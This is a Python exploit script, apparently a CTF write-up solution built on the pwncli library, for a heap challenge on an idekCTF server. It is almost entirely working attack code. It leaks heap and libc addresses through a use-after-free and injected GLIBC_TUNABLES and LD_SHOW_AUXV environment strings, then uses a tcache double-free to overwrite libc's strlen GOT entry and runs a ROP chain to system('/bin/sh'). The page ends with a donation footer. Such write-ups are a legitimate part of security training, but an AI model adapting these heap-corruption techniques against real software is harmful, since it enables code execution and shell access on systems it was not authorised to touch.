 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
#!/usr/bin/env python3
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

# nc minkymomo.chal.idek.team 1337
# 

from pwncli import *
cli_script()
set_remote_libc('libc-2.35.so')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i):
    sla("What would you like to do?\n", i)

def create(i, sz, data="deadbeef"):
    cmd('1')
    sla("Which index would you like to store the episode at?\n", str(i))
    sla("What size would you like your episode to be?\n", str(sz))
    sla("What you want the episode to be about?\n", data)

def create2(cmd_, i, sz, data="deadbeef"):
    cmd(cmd_)
    sla("Which index would you like to store the episode at?\n", str(i))
    sla("What size would you like your episode to be?\n", str(sz))
    sla("What you want the episode to be about?\n", data)

def remove(i):
    cmd('2')
    sla("Which index would you like to delete an episode from?\n", str(i))

def display(i):
    cmd('3')
    sla("Which index would you like to display an episode from?\n", str(i))
    ru("Episode plot: ")
    return rl()

def resurrect():
    cmd('4')

# modify env pointer
@show_name
def exp1():
    create(0, 0x10)
    remove(0)
    m = display(0)
    heapaddr = u64_ex(m[:-1]) << 12
    leak("heap addr", heapaddr)
    heap2 = heapaddr + 0x2b0
    heap1 = heapaddr + 0x2b0 + 0x20
    create(1, 0x30, "GLIBC_TUNABLES=glibc.malloc.tcache_count=2")
    create(2, 0x10, "LD_SHOW_AUXV=1")
    cmd(flat_z({
        0: '4',
        0x148: [
            heap1, heap2
        ]
    })[:-1])

# tcache bin attack strlen.got
@show_name
def exp2():
    # get addr
    m = rls("AT_BASE:", timeout=20)
    libcaddr = int16_ex(m[-0x14:])
    lbs = set_current_libc_base_and_log(libcaddr, 0x22a000)
    create(0, 0x20)
    create(1, 0x20)
    create(2, 0x20)
    create(3, 0x20)
    # create(4, 0x10)
    remove(0)
    m = display(0)
    heapaddr = u64_ex(m[:-1]) << 12
    leak("heap addr", heapaddr)
    
    remove(1)
    remove(2)
    remove(3)
    remove(2)
    # tcache stash linking
    create(4, 0x20)
    create(5, 0x20)
    create(6, 0x20, p64_ex(protect_ptr(heapaddr + 0x310, lbs + 0x219080))[:-1]) # libc.got@strlen-0x18
    create(7, 0x20, "/bin/sh||")
    CurrentGadgets.set_find_area(0, 1)
    create2(flat_z({
        0: '1',
        0x8: [
            0,
            CurrentGadgets.pop_rdi_ret(),
            CurrentGadgets.bin_sh(),
            libc.sym.system
              ]}), 8, 0x20, flat(0, 0, 0, lbs + 0x0000000000029fce)) # add rsp, 0x90
    
exp1()

exp2()

ia()
Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%